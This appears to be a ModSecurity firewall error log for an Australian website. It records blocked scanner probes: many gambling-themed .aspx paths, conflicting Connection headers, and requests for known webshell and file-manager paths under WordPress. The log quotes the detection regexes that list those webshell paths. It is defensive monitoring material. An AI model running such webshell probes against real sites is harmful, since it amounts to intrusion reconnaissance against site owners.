[Fri Jan 30 10:24:53.873911 2026] [:error] [pid 46912:tid 46933] [client 145.239.71.147:56902] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aXwWdT6yiVW7A9NwFFlUjAAAAAk"]
[Fri Jan 30 10:24:56.703281 2026] [:error] [pid 46913:tid 46969] [client 145.239.71.147:59762] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aXwWeDMWmKL8hOfC3uRYlQAAAFI"]
[Fri Jan 30 10:24:59.509046 2026] [:error] [pid 46913:tid 46954] [client 145.239.71.147:59768] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aXwWezMWmKL8hOfC3uRYmwAAAEM"]
[Fri Jan 30 10:25:02.654161 2026] [:error] [pid 47663:tid 47675] [client 145.239.71.147:59782] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aXwWfkHGTrgIKCqEYbUn8gAAAko"]
[Fri Jan 30 10:25:05.620119 2026] [:error] [pid 47021:tid 47044] [client 145.239.71.147:40852] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aXwWgdap1k13UdZUNSSsvwAAANU"]
[Fri Jan 30 10:25:08.541610 2026] [:error] [pid 24681:tid 24707] [client 145.239.71.147:40866] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aXwWhIE368IXQpahn0IIxQAAARg"]
[Fri Jan 30 10:25:11.192867 2026] [:error] [pid 24711:tid 24718] [client 145.239.71.147:40882] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aXwWh65Gwh4var6T23Kh0wAAAUQ"]
[Fri Jan 30 10:25:14.128781 2026] [:error] [pid 46914:tid 46994] [client 145.239.71.147:40892] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aXwWilgSfJ4kZxNKlb8DQQAAAJA"]
[Fri Jan 30 10:25:16.876616 2026] [:error] [pid 24712:tid 24765] [client 145.239.71.147:43836] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aXwWjIRLQrFiQF3h9-ugFwAAAZc"]
[Fri Jan 30 10:25:19.639237 2026] [:error] [pid 38980:tid 38988] [client 145.239.71.147:43844] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aXwWj7YByxUZEaKXdHokrQAAAgE"]
[Fri Jan 30 10:25:22.303409 2026] [:error] [pid 24681:tid 24693] [client 145.239.71.147:43854] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aXwWkoE368IXQpahn0IIyQAAAQo"]
[Fri Jan 30 10:25:25.464714 2026] [:error] [pid 24681:tid 24687] [client 145.239.71.147:40580] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aXwWlYE368IXQpahn0II0QAAAQQ"]
[Fri Jan 30 10:25:28.365609 2026] [:error] [pid 24711:tid 24727] [client 145.239.71.147:40582] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aXwWmK5Gwh4var6T23Kh7wAAAU0"]
[Fri Jan 30 10:25:31.195441 2026] [:error] [pid 47663:tid 47665] [client 145.239.71.147:40590] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aXwWm0HGTrgIKCqEYbUoBwAAAkA"]
[Fri Jan 30 10:25:33.933801 2026] [:error] [pid 24711:tid 24717] [client 145.239.71.147:40604] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aXwWna5Gwh4var6T23KiAAAAAUM"]
[Fri Jan 30 10:25:36.715644 2026] [:error] [pid 38686:tid 38695] [client 145.239.71.147:44016] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aXwWoAoE8BAjgw1_sAXtfgAAAcU"]
[Fri Jan 30 10:25:59.704130 2026] [:error] [pid 38686:tid 38693] [client 145.239.71.147:44028] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aXwWtwoE8BAjgw1_sAXtoAAAAcM"]
[Fri Jan 30 10:26:02.587831 2026] [:error] [pid 46914:tid 46991] [client 145.239.71.147:43298] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aXwWulgSfJ4kZxNKlb8DiwAAAI0"]
[Fri Jan 30 10:26:06.030309 2026] [:error] [pid 47021:tid 47036] [client 145.239.71.147:59568] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aXwWvtap1k13UdZUNSStIgAAAM0"]
[Fri Jan 30 10:26:08.799613 2026] [:error] [pid 38686:tid 38710] [client 145.239.71.147:59578] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aXwWwAoE8BAjgw1_sAXtqgAAAdQ"]
[Fri Jan 30 10:26:11.646024 2026] [:error] [pid 47663:tid 47689] [client 145.239.71.147:59586] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aXwWw0HGTrgIKCqEYbUoMQAAAlg"]
[Fri Jan 30 10:26:14.415995 2026] [:error] [pid 24711:tid 24723] [client 145.239.71.147:40480] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aXwWxq5Gwh4var6T23KiOAAAAUk"]
[Fri Jan 30 10:26:17.228644 2026] [:error] [pid 24681:tid 24689] [client 145.239.71.147:40488] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aXwWyYE368IXQpahn0IJBwAAAQY"]
[Fri Jan 30 10:26:20.139055 2026] [:error] [pid 38686:tid 38694] [client 145.239.71.147:40502] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aXwWzAoE8BAjgw1_sAXttgAAAcQ"]
[Fri Jan 30 10:26:22.778006 2026] [:error] [pid 24711:tid 24720] [client 145.239.71.147:40518] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aXwWzq5Gwh4var6T23KiRwAAAUY"]
[Fri Jan 30 10:26:25.534185 2026] [:error] [pid 24711:tid 24725] [client 145.239.71.147:45742] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aXwW0a5Gwh4var6T23KiTAAAAUs"]
[Fri Jan 30 10:26:28.311063 2026] [:error] [pid 38980:tid 39003] [client 145.239.71.147:45744] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aXwW1LYByxUZEaKXdHok5QAAAhA"]
[Fri Jan 30 10:26:31.187505 2026] [:error] [pid 24681:tid 24689] [client 145.239.71.147:45758] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aXwW14E368IXQpahn0IJGAAAAQY"]
[Fri Jan 30 10:26:33.907085 2026] [:error] [pid 46914:tid 46990] [client 145.239.71.147:45766] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aXwW2VgSfJ4kZxNKlb8DygAAAIw"]
[Fri Jan 30 10:26:36.652746 2026] [:error] [pid 38686:tid 38691] [client 145.239.71.147:59270] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aXwW3AoE8BAjgw1_sAXtygAAAcE"]
[Fri Jan 30 10:26:39.765586 2026] [:error] [pid 47021:tid 47028] [client 145.239.71.147:59276] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "aXwW39ap1k13UdZUNSStOgAAAMU"]
[Fri Jan 30 10:26:42.751742 2026] [:error] [pid 24711:tid 24725] [client 145.239.71.147:59284] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aXwW4q5Gwh4var6T23KibgAAAUs"]
[Fri Jan 30 10:26:45.703260 2026] [:error] [pid 46913:tid 46953] [client 145.239.71.147:40418] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aXwW5TMWmKL8hOfC3uRY8wAAAEI"]
[Fri Jan 30 10:26:48.356844 2026] [:error] [pid 47663:tid 47675] [client 145.239.71.147:40428] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aXwW6EHGTrgIKCqEYbUoTwAAAko"]
[Fri Jan 30 10:26:51.257484 2026] [:error] [pid 38980:tid 38991] [client 145.239.71.147:40442] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aXwW67YByxUZEaKXdHolDAAAAgQ"]
[Fri Jan 30 10:26:54.156748 2026] [:error] [pid 47021:tid 47037] [client 145.239.71.147:40444] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aXwW7tap1k13UdZUNSStUAAAAM4"]
[Fri Jan 30 10:26:56.940973 2026] [:error] [pid 46914:tid 46997] [client 145.239.71.147:42276] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aXwW8FgSfJ4kZxNKlb8D3wAAAJM"]
[Fri Jan 30 12:35:25.579119 2026] [:error] [pid 24711:tid 24719] [client 49.51.132.100:45936] [client 49.51.132.100] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aXw1Da5Gwh4var6T23LicAAAAUU"]
[Fri Jan 30 12:57:17.276090 2026] [:error] [pid 47021:tid 47023] [client 111.172.249.49:38785] [client 111.172.249.49] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aXw6Ldap1k13UdZUNSTbigAAAMA"]
[Fri Jan 30 20:08:07.505281 2026] [:error] [pid 24711:tid 24725] [client 43.135.172.89:37340] [client 43.135.172.89] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aXyfJ65Gwh4var6T23KHAAAAAUs"]
[Fri Jan 30 22:10:07.609308 2026] [:error] [pid 47021:tid 47046] [client 45.137.126.47:59121] [client 45.137.126.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aXy7v9ap1k13UdZUNSRWxQAAANc"]
[Fri Jan 30 22:10:10.373032 2026] [:error] [pid 24711:tid 24724] [client 45.137.126.4:31397] [client 45.137.126.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aXy7wq5Gwh4var6T23Kx8gAAAUo"]
[Fri Jan 30 22:10:14.853605 2026] [:error] [pid 47021:tid 47043] [client 45.137.126.46:54043] [client 45.137.126.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aXy7xtap1k13UdZUNSRW9AAAANQ"]
[Fri Jan 30 22:10:17.643004 2026] [:error] [pid 47021:tid 47034] [client 45.137.126.23:40583] [client 45.137.126.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aXy7ydap1k13UdZUNSRXCQAAAMs"]
[Fri Jan 30 22:10:22.237090 2026] [:error] [pid 24711:tid 24721] [client 45.137.126.43:37117] [client 45.137.126.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aXy7zq5Gwh4var6T23KyegAAAUc"]
[Fri Jan 30 22:10:23.883089 2026] [:error] [pid 24681:tid 24707] [client 45.137.126.53:57029] [client 45.137.126.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aXy7z4E368IXQpahn0KOigAAARg"]
[Fri Jan 30 22:10:24.984631 2026] [:error] [pid 24681:tid 24693] [client 45.137.126.13:58991] [client 45.137.126.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aXy70IE368IXQpahn0KOkAAAAQo"]
[Fri Jan 30 22:10:26.115719 2026] [:error] [pid 24681:tid 24707] [client 45.137.126.34:64471] [client 45.137.126.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aXy70oE368IXQpahn0KOlQAAARg"]
[Fri Jan 30 22:10:27.240975 2026] [:error] [pid 46914:tid 46997] [client 45.137.126.49:63489] [client 45.137.126.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aXy701gSfJ4kZxNKlb_d6gAAAJM"]
[Fri Jan 30 22:10:28.351781 2026] [:error] [pid 47663:tid 47681] [client 45.137.126.34:58283] [client 45.137.126.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aXy71EHGTrgIKCqEYbWktAAAAlA"]
[Fri Jan 30 22:10:30.017146 2026] [:error] [pid 47021:tid 47027] [client 45.137.126.51:48697] [client 45.137.126.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aXy71tap1k13UdZUNSRXowAAAMQ"]
